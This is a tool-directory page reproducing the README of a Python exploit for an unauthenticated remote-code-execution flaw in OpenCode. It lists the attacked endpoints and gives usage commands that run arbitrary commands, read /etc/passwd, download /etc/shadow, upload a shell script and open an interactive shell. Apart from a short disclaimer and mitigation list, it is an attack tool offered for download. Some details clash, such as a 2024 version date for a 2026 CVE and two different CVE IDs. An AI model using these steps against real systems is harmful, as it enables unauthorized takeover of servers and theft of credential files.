Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/0xgh057r3c0n/cve-2026-22812
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHub0xgh057r3c0n/cve-2026-22812

CVE-2026-22812

Python exploit tool for OpenCode RCE (CVE-2026-22812) providing command execution, file read/write/upload/download, and interactive shell for authorized penetration testing.

View Repository
217 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-22812

Overview

A Python exploitation tool for OpenCode Remote Code Execution (RCE) vulnerability affecting versions < v1.0.216. This tool provides multiple attack vectors including command execution, file read/write, file upload/download, and interactive shell.

Disclaimer

⚠️ FOR AUTHORIZED TESTING ONLY ⚠️

  • This tool is intended for legitimate security testing and authorized penetration testing only
  • Use only on systems you own or have explicit permission to test
  • The author is not responsible for any misuse or damage caused by this tool
  • Unauthorized access to computer systems is illegal and punishable by law

Features

  • Vulnerability Detection: Check if target is vulnerable
  • Command Execution: Execute arbitrary commands on target
  • File Operations: Read, write, upload, and download files
  • Interactive Shell: Full interactive shell with tab completion
  • System Reconnaissance: Gather system information
  • Proxy Support: Route traffic through HTTP proxy
  • Statistics Tracking: Monitor exploitation activities

Installation

root@kitploit:~
# Clone repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-22812.git
cd CVE-2026-22812

# Install dependencies
pip install requests urllib3

# Make executable (optional)
chmod +x CVE-2026-22812.py

Requirements

  • Python 3.6+
  • requests library
  • urllib3 library

Usage

root@kitploit:~
python3 CVE-2026-22812.py -t http://target:port [options]

Basic Examples

root@kitploit:~
# Check if target is vulnerable
python3 exploit.py -t http://10.0.0.1:4096 --check

# Interactive shell
python3 exploit.py -t http://10.0.0.1:4096 -i

# Execute single command
python3 exploit.py -t http://10.0.0.1:4096 -c "id"

# Read file
python3 exploit.py -t http://10.0.0.1:4096 -r /etc/passwd

# Upload file
python3 exploit.py -t http://10.0.0.1:4096 --upload shell.sh /tmp/shell.sh

# Download file
python3 exploit.py -t http://10.0.0.1:4096 --download /etc/shadow shadow.txt

# Get system information
python3 exploit.py -t http://10.0.0.1:4096 --info

# Use proxy (Burp Suite, etc.)
python3 exploit.py -t http://10.0.0.1:4096 -c "whoami" --proxy http://127.0.0.1:8080

Interactive Shell Commands

Once in the interactive shell (-i flag), you can use:

root@kitploit:~
<command>                   Execute shell command
help                       Show help menu
exit                       Exit shell
session                    Show session ID
stats                      Show exploitation statistics
read <file>                Read file content
download <remote> <local>  Download file
upload <local> <remote>    Upload file
sysinfo                    Get system information

Vulnerability Details

  • CVE ID: CVE-2026-22812 / CVE-2026-22182
  • Product: OpenCode
  • Affected Versions: < v1.0.216
  • Vulnerability Type: Remote Code Execution
  • Attack Vector: Network
  • Authentication: Not required

Technical Details

The vulnerability exists in the session management endpoint (/session) which allows unauthenticated users to create sessions and execute arbitrary commands through the /session/{id}/shell endpoint.

Endpoints Exploited:

  1. POST /session - Create session
  2. POST /session/{id}/shell - Execute commands
  3. GET /file/content - Read files

Mitigation

  1. Upgrade to OpenCode version ≥ v1.0.216
  2. Implement proper authentication and authorization
  3. Restrict network access to OpenCode instances
  4. Implement input validation and sanitization
  5. Use Web Application Firewall (WAF)

Code Structure

root@kitploit:~
CVE-2026-22812.py
├── Colors class (ANSI color codes)
├── print_banner() (Display banner)
├── Exploit class (Main exploit logic)
│   ├── __init__() (Initialization)
│   ├── check_vuln() (Vulnerability check)
│   ├── create_session() (Create session)
│   ├── exec_cmd() (Execute command)
│   ├── read_file() (Read file)
│   ├── write_file() (Write file)
│   ├── upload() (Upload file)
│   ├── download() (Download file)
│   ├── get_info() (System info)
│   ├── shell() (Interactive shell)
│   └── Helper methods
└── main() (Argument parsing)

License

This tool is released for educational purposes only. Use at your own risk.

Author

  • GitHub: 0xgh057r3c0n
  • Tool: CVE-2026-22812 Exploitation Tool

Contributing

  1. Fork the repository
  2. Create a feature branch
  3. Commit your changes
  4. Push to the branch
  5. Create a Pull Request

Acknowledgments

  • Security researchers who discovered the vulnerability
  • Open source community
  • All contributors and testers

References

  • OpenCode Security Advisory
  • CVE Database
  • NVD Entry

Support

For issues and questions, please:

  1. Check existing GitHub issues
  2. Create a new issue with detailed description
  3. Include target URL (if possible) and error messages

Version History

  • v1.0.0 (2024-01-20): Initial release
    • Vulnerability detection
    • Command execution
    • File operations
    • Interactive shell
    • Proxy support
Download Tool